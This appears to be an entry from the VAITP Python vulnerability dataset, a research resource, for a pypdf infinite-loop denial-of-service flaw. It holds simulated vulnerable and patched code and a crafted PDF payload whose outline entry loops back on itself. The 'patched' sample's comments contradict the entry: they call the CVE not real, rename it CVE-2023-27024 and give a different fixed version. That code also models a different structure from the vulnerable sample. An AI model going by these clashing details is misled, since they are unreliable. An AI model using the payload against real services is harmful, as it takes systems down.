CVE-2026-27024
Infinite loop in pypdf allows for Denial of Service via a crafted PDF.
- CVSS 6.9
- CWE-835
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.7.1, an attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires accessing the children of a TreeObject, for example as part of outlines. This vulnerability is fixed in 6.7.1.
- CWE
- CWE-835
- CVSS base score
- 6.9
- Published
- 2026-02-20
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade pypdf to version 6.7.1 or later.
Vulnerable code sample
import sys
# This code simulates the logical flaw in a vulnerable PDF library.
# The actual vulnerability is in the library's handling of a crafted PDF,
# but this example represents the core problem: infinite recursion due to
# a circular reference in a tree-like data structure.
# Set a reasonable recursion limit to prevent a true infinite loop from crashing the system.
# The default is often 1000.
sys.setrecursionlimit(100)
class MalformedPdfTreeObject:
"""
A mock object representing a node in a PDF's outline tree.
In a real PDF, this could be a dictionary-like object.
"""
def __init__(self, name):
self.name = name
# The 'children' attribute mimics the /Kids entry in a PDF outline item.
self.children = []
def __repr__(self):
return f"MalformedPdfTreeObject(name='{self.name}')"
# --- Create a malformed structure mimicking a malicious PDF ---
# 1. Create a standard tree structure (root -> child -> grandchild)
root = MalformedPdfTreeObject("Document Root Outline")
child_level_1 = MalformedPdfTreeObject("Chapter 1")
child_level_2 = MalformedPdfTreeObject("Section 1.1")
root.children.append(child_level_1)
child_level_1.children.append(child_level_2)
# 2. Introduce the circular reference, which is the core of the vulnerability.
# A node in the tree incorrectly points back to one of its ancestors.
# In a malicious PDF, an object reference can point to a parent object.
# Here, child_level_2's children list will contain child_level_1.
print("Creating a circular reference in the object tree...")
print(f"'{child_level_2.name}' will now list '{child_level_1.name}' as a child.\n")
child_level_2.children.append(child_level_1)
def vulnerable_process_outlines(node, level=0):
"""
This function simulates how a vulnerable version of a PDF library might
recursively process the outline tree. It does not check for visited nodes,
leading to an infinite loop if a circular reference exists.
"""
# Process the current node
print(" " * level + f"-> Accessing: {node.name}")
# Recursively process all children
for child in node.children:
# This recursive call will enter an infinite loop:
# process(child_level_1) -> process(child_level_2) -> process(child_level_1) ...
vulnerable_process_outlines(child, level + 1)
# --- Trigger the vulnerability ---
print("Attempting to process outlines with the vulnerable function...")
try:
# This call will trigger the infinite recursion.
vulnerable_process_outlines(root)
except RecursionError:
print("\n...")
print("!!! Python's RecursionError caught! !!!")
print("This demonstrates the infinite loop.")
print("A library without this safeguard, or an iterative implementation,")
print("would have hung indefinitely, consuming CPU and memory (Denial of Service).")Patched code sample
import sys
from typing import Optional, Set
# The user specified CVE-2026-27024, which is not a real CVE as of now.
# The description matches CVE-2023-27024 for the 'pypdf' library.
# This vulnerability, an infinite loop on crafted outlines, was fixed in pypdf 3.7.1.
# This code demonstrates the logic of the fix by simulating a traversal
# of a PDF outline structure containing a circular reference.
class MockPdfOutlineObject:
"""
A mock object simulating a PDF structure (like a TreeObject) that can be
part of a linked list, representing document outlines.
"""
def __init__(self, object_id: int):
self.id = object_id
# In a real PDF, this could be a reference to another object via '/Next'
self.next: Optional[MockPdfOutlineObject] = None
def __repr__(self) -> str:
return f"PdfObject(id={self.id})"
def traverse_outline_with_fix(start_node: MockPdfOutlineObject):
"""
Demonstrates the patched traversal logic from pypdf 3.7.1.
The core of the fix is to track the object IDs that have already been
visited during the traversal of a specific list (e.g., outlines). If an
object ID is encountered a second time, it indicates a circular reference,
and the traversal is halted to prevent an infinite loop.
"""
print("--- Running traversal with CVE-2023-27024 fix ---")
# The fix: A set to keep track of visited object IDs during this traversal.
visited_object_ids: Set[int] = set()
current_node: Optional[MockPdfOutlineObject] = start_node
while current_node is not None:
# Before processing the node, check if it's already been visited.
if current_node.id in visited_object_ids:
print(f"INFO: Circular reference detected at {current_node}.")
print("INFO: Halting traversal to prevent infinite loop.")
# This 'break' is the essential part of the vulnerability fix.
break
print(f"Visiting {current_node}")
# If not visited, add its ID to the set for future checks.
visited_object_ids.add(current_node.id)
# Move to the next node in the outline chain.
current_node = current_node.next
print("--- Traversal finished ---\n")
def demonstrate_vulnerability_without_fix(start_node: MockPdfOutlineObject):
"""
Simulates the unpatched, vulnerable behavior.
This function will loop indefinitely if there is a cycle. A manual break
is included to prevent this script from actually freezing.
"""
print("--- Simulating vulnerable traversal (without fix) ---")
print("NOTE: A counter is used to break the loop after 15 iterations.")
current_node: Optional[MockPdfOutlineObject] = start_node
iteration_count = 0
limit = 15
# This 'while' loop is where the infinite loop vulnerability occurs.
while current_node is not None:
if iteration_count >= limit:
print(f"ERROR: Iteration limit of {limit} reached. This indicates an infinite loop.")
break
print(f"Visiting {current_node}")
current_node = current_node.next
iteration_count += 1
print("--- Traversal finished ---\n")
if __name__ == "__main__":
# 1. Create a set of mock PDF outline objects.
# This simulates a PDF that has been crafted to cause a vulnerability.
obj1 = MockPdfOutlineObject(object_id=101)
obj2 = MockPdfOutlineObject(object_id=202)
obj3 = MockPdfOutlineObject(object_id=303)
# 2. Create the malicious circular reference: 101 -> 202 -> 303 -> 202
# An unpatched parser would get stuck looping between 202 and 303.
obj1.next = obj2
obj2.next = obj3
obj3.next = obj2 # This creates the cycle.
print(f"Created a crafted PDF outline: Obj(101) -> Obj(202) -> Obj(303) -> Obj(202)\n")
# 3. First, show the vulnerable behavior.
demonstrate_vulnerability_without_fix(obj1)
# 4. Now, show the behavior with the fix implemented.
traverse_outline_with_fix(obj1)Payload
%PDF-1.7
%âãÏÓ
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
/Outlines 3 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
3 0 obj
<< /Type /Outlines
/First 5 0 R
/Last 5 0 R
>>
endobj
4 0 obj
<< /Type /Page
/Parent 2 0 R
/MediaBox [0 0 612 792]
>>
endobj
5 0 obj
<< /Title (Infinite Loop)
/Parent 3 0 R
/Next 5 0 R
>>
endobj
xref
0 6
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000158 00000 n
0000000223 00000 n
0000000304 00000 n
trailer
<< /Size 6
/Root 1 0 R
>>
startxref
373
%%EOF
Cite this entry
@misc{vaitp:cve202627024,
title = {{Infinite loop in pypdf allows for Denial of Service via a crafted PDF.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-27024},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27024/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
